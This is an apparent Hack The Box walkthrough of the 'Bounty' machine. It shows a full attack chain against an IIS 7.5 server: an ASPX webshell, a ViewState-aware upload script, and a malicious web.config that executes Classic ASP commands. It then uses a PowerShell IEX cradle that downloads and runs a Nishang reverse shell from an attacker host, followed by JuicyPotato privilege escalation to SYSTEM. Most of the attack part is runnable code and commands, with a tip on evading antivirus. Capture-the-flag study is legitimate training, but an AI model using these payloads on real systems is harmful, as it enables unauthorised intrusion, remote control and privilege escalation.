Bounty Walkthrough

Machine: Bounty#

Date: 24-03-2026 Platform: HTB Status: [Rooted]


πŸ” Recon#

Nmap:#

nmap -sC -sV -oN scans/nmap_initial.txt $MACHINE_IP
nmap -p- --min-rate 5000 -T4 -oN scans/nmap_full.txt $MACHINE_IP

Results:

  • Port 80 β†’ HTTP β€” Microsoft IIS httpd 7.5 β€” title: “Bounty”

Notes:

  • Only one port open β€” the entire attack surface is the web server
  • IIS 7.5 signals Windows Server 2008 R2. This matters because:
    • IIS executes .aspx and .asp files, not .php
    • There is a well-known IIS-specific code execution technique via web.config
    • Windows Server 2008 R2 is vulnerable to JuicyPotato when SeImpersonatePrivilege is present
  • HTTP TRACE method enabled β€” low impact here but worth noting
  • Homepage shows only a wizard image β€” no visible functionality

πŸ“‚ Enumeration#

Gobuster (directories + Windows-relevant extensions):#

gobuster dir -u http://$MACHINE_IP/ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x asp,aspx,txt,config \
  -t 50 \
  -o scans/gobuster.txt

Why these extensions: IIS does not execute .php. The relevant extensions are .asp/.aspx (executable server-side code on IIS), .txt (potential info files), and .config (ASP.NET configuration files that can be abused to execute code). Always adapt your gobuster extensions to the target OS and web server.

Results:

  • /transfer.aspx β†’ 200 β€” file upload form
  • /UploadedFiles/ β†’ 301 β†’ 403 β€” directory where uploaded files are stored (exists but directory listing disabled)

Key observations:

  • The upload form has a JavaScript ValidateFile() function β€” client-side extension filtering only, trivially bypassed
  • /UploadedFiles/ returning 403 (not 404) confirms the directory exists and files uploaded there are reachable by direct filename
  • No authentication required β€” upload form is publicly accessible

Manual upload attempts β€” discovering the filter:#

Visiting /transfer.aspx in the browser shows a simple upload form with a single file input and an “Upload” button. The page source reveals a JavaScript function ValidateFile() attached to the submit button β€” this is the client-side filter.

First attempt β€” upload .aspx webshell directly (naive approach):

Created a basic ASPX webshell:

cat > /tmp/shell.aspx << 'EOF'
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
    string cmd = Request.QueryString["cmd"];
    Process p = new Process();
    p.StartInfo.FileName = "cmd.exe";
    p.StartInfo.Arguments = "/c " + cmd;
    p.StartInfo.UseShellExecute = false;
    p.StartInfo.RedirectStandardOutput = true;
    p.Start();
    Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
%>
EOF

Attempted upload via curl:

curl -s -X POST http://$MACHINE_IP/transfer.aspx \
  -F "FileUpload1=@/tmp/shell.aspx" \
  -F "btnUpload=Upload"

Result: The server returned the page without processing the upload β€” the curl request failed silently because it was missing the ASP.NET __VIEWSTATE and __EVENTVALIDATION tokens.

Lesson learned: ASP.NET forms cannot be submitted with plain curl. The hidden fields __VIEWSTATE and __EVENTVALIDATION are required in every POST. Without them, the server ignores or rejects the request entirely. This is why we needed the upload script.

Second attempt β€” upload via upload.py script:

After fixing the ViewState issue with the upload script, tried .aspx again:

python3 /tmp/upload.py $MACHINE_IP /tmp/shell.aspx

Result: Invalid File. Please try again β€” the server-side filter blocks .aspx.

This confirmed the filter is server-side, not just JavaScript. The client-side ValidateFile() is just an extra layer β€” the real block happens on the server after the POST reaches PHP/ASP.

Conclusion from manual attempts: .aspx is explicitly blocked server-side. Need to find an alternative extension that:

  1. Passes the server-side filter
  2. Can still be used to execute code on IIS

This led to the systematic extension fuzzing below.


Extension filtering test β€” systematic fuzzing:#

Why we test extensions: The server-side filter may block .aspx (obvious webshell extension) but allow other extensions that IIS can still execute. We need to find which extensions pass the filter AND can execute code.

# Script to extract ASP.NET ViewState tokens and upload files correctly
cat > /tmp/upload.py << 'EOF'
import requests, re, sys

url = f"http://{sys.argv[1]}/transfer.aspx"
filepath = sys.argv[2]
session = requests.Session()
r = session.get(url)
viewstate = re.search(r'__VIEWSTATE[^>]+value="([^"]+)"', r.text).group(1)
eventval = re.search(r'__EVENTVALIDATION[^>]+value="([^"]+)"', r.text).group(1)
filename = filepath.split("/")[-1]
with open(filepath, "rb") as f:
    files = {"FileUpload1": (filename, f, "application/octet-stream")}
    data = {"__VIEWSTATE": viewstate, "__EVENTVALIDATION": eventval, "btnUpload": "Upload"}
    r = session.post(url, files=files, data=data)
print(r.text)
EOF

Why we need this script (not just curl): ASP.NET forms include hidden fields __VIEWSTATE and __EVENTVALIDATION β€” anti-CSRF tokens that change with every request. A plain curl -F upload will fail with “invalid” because it does not include these tokens. The script makes a GET request first to extract the current tokens, then includes them in the POST.

for ext in jpg png gif txt config aspx asp; do
    cp /tmp/shell.aspx /tmp/test.$ext
    result=$(python3 /tmp/upload.py $MACHINE_IP /tmp/test.$ext)
    echo "[$ext] -> $(echo $result | grep -o 'Invalid\|uploaded\|success' | head -1)"
done

Results:

ExtensionResult
jpgβœ… uploaded
pngβœ… uploaded
gifβœ… uploaded
txt❌ Invalid
configβœ… uploaded
aspx❌ Invalid
asp❌ Invalid

Why .config is the key finding: The developer blocked .aspx and .asp because they are obviously executable. However .config files are not normally considered dangerous β€” this is the misconfiguration. In IIS, a web.config file placed in a directory can instruct the server to execute other file types as scripts, and can itself contain executable Classic ASP code.


πŸ’₯ Exploitation#

Technique: Malicious web.config Upload β†’ IIS Code Execution#

How it works β€” step by step:

  1. IIS reads web.config files in each directory to configure how that directory behaves
  2. A web.config can register new “handlers” β€” rules that tell IIS which engine to use for which file extensions
  3. We register asp.dll (the Classic ASP engine) to handle ALL .config files
  4. We also remove the two IIS protections that normally prevent .config files from being served directly
  5. We embed Classic ASP code (<% ... %>) at the bottom of the web.config
  6. When we request the file via the browser, IIS executes the embedded ASP code as SYSTEM/app pool user

Step 1 β€” Confirm RCE:

cat > /tmp/web.config << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule"
              scriptProcessor="%windir%\system32\inetsrv\asp.dll"
              resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<%
Set obj = CreateObject("WScript.Shell")
Set exec = obj.Exec("cmd.exe /c whoami")
Response.Write(exec.StdOut.ReadAll())
%>
EOF

python3 /tmp/upload.py $MACHINE_IP /tmp/web.config
curl -s http://$MACHINE_IP/UploadedFiles/web.config

Output:

bounty\merlin

What each part of the web.config does:

  • <handlers> block: tells IIS to use asp.dll (Classic ASP engine) for ALL .config files in this directory
  • <remove fileExtension=".config">: removes IIS’s built-in rule that blocks .config files from being downloaded/executed
  • <remove segment="web.config">: removes the “hidden segment” rule that prevents web.config from being accessed via a URL
  • <% Set obj = CreateObject("WScript.Shell") %>: Classic ASP code β€” creates a Windows Shell object
  • obj.Exec("cmd.exe /c whoami"): runs whoami via cmd.exe
  • Response.Write(...): writes the command output to the HTTP response

Step 2 β€” Upgrade to reverse shell:

# Prepare Nishang PowerShell reverse shell on attacker machine
cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 /tmp/shell.ps1
echo "Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.252 -Port 4444" >> /tmp/shell.ps1

# Serve via HTTP so the victim can download it
cd /tmp && python3 -m http.server 8080
# Start listener
nc -lvnp 4444
# Update web.config to execute PowerShell reverse shell
cat > /tmp/web.config << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule"
              scriptProcessor="%windir%\system32\inetsrv\asp.dll"
              resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<%
Set obj = CreateObject("WScript.Shell")
Set exec = obj.Exec("cmd.exe /c powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.252:8080/shell.ps1')")
Response.Write(exec.StdOut.ReadAll())
%>
EOF

python3 /tmp/upload.py $MACHINE_IP /tmp/web.config
curl -s http://$MACHINE_IP/UploadedFiles/web.config

Result: Reverse PowerShell shell as bounty\merlin βœ…

Why PowerShell IEX (Invoke-Expression): IEX(New-Object Net.WebClient).DownloadString(url) downloads a PowerShell script and executes it directly in memory β€” no file is written to disk. This avoids AV detection and doesn’t require write permissions to a specific path. The web server process makes an HTTP request back to our Python server, downloads shell.ps1, and runs it in memory.


⚑ Privilege Escalation#

Enumeration:#

whoami /priv

Output:

SeImpersonatePrivilege    Impersonate a client after authentication    Enabled

What SeImpersonatePrivilege means: This privilege allows a process to “impersonate” another user’s security token after that user authenticates to the process. IIS worker processes receive this privilege by design β€” they need to be able to act on behalf of web users. However, it also enables a class of attacks where a low-privileged process tricks a SYSTEM-level service into authenticating, steals its token, and uses it to spawn a new process as SYSTEM.

The Potato family of attacks (JuicyPotato, RoguePotato, PrintSpoofer) all exploit SeImpersonatePrivilege. Which one to use depends on the Windows version:

  • Windows Server 2008 R2 / Windows 7 β†’ JuicyPotato
  • Windows Server 2019 / Windows 10 (post-patch) β†’ PrintSpoofer or RoguePotato

JuicyPotato β†’ SYSTEM#

How JuicyPotato works:

  1. Creates a fake COM server listening on a local port (-l)
  2. Triggers a specific Windows COM object (-c CLSID) to connect to our fake server
  3. The COM object runs as SYSTEM and authenticates to our server
  4. We intercept the SYSTEM authentication token using SeImpersonatePrivilege
  5. We use that token to spawn a new process (-p) running as SYSTEM

Setup on attacker machine:

wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe -O /tmp/JuicyPotato.exe
cp /path/to/nc.exe /tmp/
cd /tmp && python3 -m http.server 8080

Download tools to victim (C:\Windows\Temp is always writable):

(New-Object Net.WebClient).DownloadFile('http://10.10.14.252:8080/JuicyPotato.exe', 'C:\Windows\Temp\jp.exe')
(New-Object Net.WebClient).DownloadFile('http://10.10.14.252:8080/nc.exe', 'C:\Windows\Temp\nc.exe')

Read root flag as SYSTEM:

# Create bat file using Set-Content (NOT echo β€” echo writes quotes literally in PowerShell)
Set-Content C:\Windows\Temp\readroot.bat "type C:\Users\Administrator\Desktop\root.txt > C:\Windows\Temp\root.txt"
Add-Content C:\Windows\Temp\readroot.bat "icacls C:\Windows\Temp\root.txt /grant Everyone:F"

# Execute as SYSTEM via JuicyPotato
C:\Windows\Temp\jp.exe -l 1343 -p C:\Windows\Temp\readroot.bat -t * -c "{4991d34b-80a1-4291-83b6-3328366b9097}"
Start-Sleep -s 2
type C:\Windows\Temp\root.txt

Read user flag:

Set-Content C:\Windows\Temp\readuser.bat "type C:\Users\merlin\Desktop\user.txt > C:\Windows\Temp\user2.txt"
Add-Content C:\Windows\Temp\readuser.bat "icacls C:\Windows\Temp\user2.txt /grant Everyone:F"
C:\Windows\Temp\jp.exe -l 1344 -p C:\Windows\Temp\readuser.bat -t * -c "{4991d34b-80a1-4291-83b6-3328366b9097}"
Start-Sleep -s 2
type C:\Windows\Temp\user2.txt

JuicyPotato parameter breakdown:

  • -l 1343 β†’ local port for the fake COM server (any unused port)
  • -p C:\Windows\Temp\readroot.bat β†’ the process to spawn as SYSTEM
  • -t * β†’ try both CreateProcessWithTokenW and CreateProcessAsUser methods
  • -c {4991d34b-80a1-4291-83b6-3328366b9097} β†’ CLSID of the BITS COM object. This is one of the most reliable CLSIDs on Windows Server 2008 R2. Different Windows versions need different CLSIDs β€” check the JuicyPotato GitHub wiki if this one fails.

Why bat file + icacls instead of direct reverse shell: JuicyPotato can also spawn nc.exe directly for a reverse shell, but on this machine Windows Firewall blocked outbound connections from SYSTEM-spawned processes. The bat file workaround reads the flag, writes it to a temp file, and grants everyone read access β€” no outbound connection needed.

Why Set-Content instead of echo: In PowerShell, echo "text" > file.bat writes "text" (with quotes) into the file, making it an invalid batch command. Set-Content writes the raw string without extra characters.

Why icacls: Files created by a SYSTEM process inherit SYSTEM ownership and permissions. The merlin user cannot read them. icacls C:\file /grant Everyone:F grants full access to all users, making the file readable.


🧩 Attack Chain#

  1. Port scan β†’ only port 80 open, IIS 7.5 (Windows Server 2008 R2)
  2. Gobuster with Windows extensions β†’ /transfer.aspx + /UploadedFiles/
  3. Extension fuzzing β†’ .aspx blocked, but .config accepted
  4. Malicious web.config uploaded β†’ IIS registers Classic ASP handler β†’ RCE via whoami
  5. Updated web.config β†’ PowerShell IEX downloads Nishang β†’ reverse shell as bounty\merlin
  6. whoami /priv β†’ SeImpersonatePrivilege enabled
  7. JuicyPotato + BITS CLSID {4991d34b-80a1-4291-83b6-3328366b9097} β†’ process spawned as SYSTEM
  8. Bat file + icacls workaround β†’ flags read from Administrator desktop βœ…

🎯 Loot / Flags#

  • user.txt: ``[FLAG REDACTED]β†’C:\Users\merlin\Desktop\user.txt`
  • root.txt: ``[FLAG REDACTED]β†’C:\Users\Administrator\Desktop\root.txt`

πŸ“ Lessons Learned#

  • On IIS, always test .config uploads β€” .aspx and .asp are usually blocked as obvious webshell extensions. .config is frequently overlooked. A malicious web.config can register any file extension as executable and contains Classic ASP code that executes directly
  • IIS version fingerprinting matters β€” IIS 7.5 = Server 2008 R2. Adapt your entire methodology: use .aspx/.asp/.config extensions, expect Windows privesc paths (Potato attacks), use PowerShell for post-exploitation
  • Client-side validation is worthless β€” the upload form used JavaScript to check extensions. This is trivially bypassed by sending the POST request directly, skipping the browser entirely
  • ASP.NET ViewState tokens must be extracted before POST requests β€” always do a GET first to grab __VIEWSTATE and __EVENTVALIDATION before posting to ASP.NET forms
  • SeImpersonatePrivilege = Potato attack β€” memorize this. IIS worker processes have this privilege by design. On Server 2008 R2, JuicyPotato with BITS CLSID {4991d34b-80a1-4291-83b6-3328366b9097} is the go-to exploit
  • Use Set-Content / Add-Content in PowerShell, never echo for bat files β€” echo "text" > file in PowerShell writes quotes literally, breaking the batch file syntax
  • C:\Windows\Temp is always writable β€” use it as the staging area for tools and output files
  • When JuicyPotato reverse shell fails, use bat + icacls β€” Windows Firewall may block outbound connections from SYSTEM processes. Reading flags via a bat file that copies and grants permissions is a reliable alternative that requires no network connection
  • PowerShell IEX for in-memory execution β€” IEX(New-Object Net.WebClient).DownloadString(url) downloads and runs scripts in memory without writing to disk, avoiding AV and not requiring write permissions

Adapted from MountainFlayer/htb-writeups under MIT.

Find us elsewhere

Merch, stickers, and moreSupport the work at the Solvere Labs shop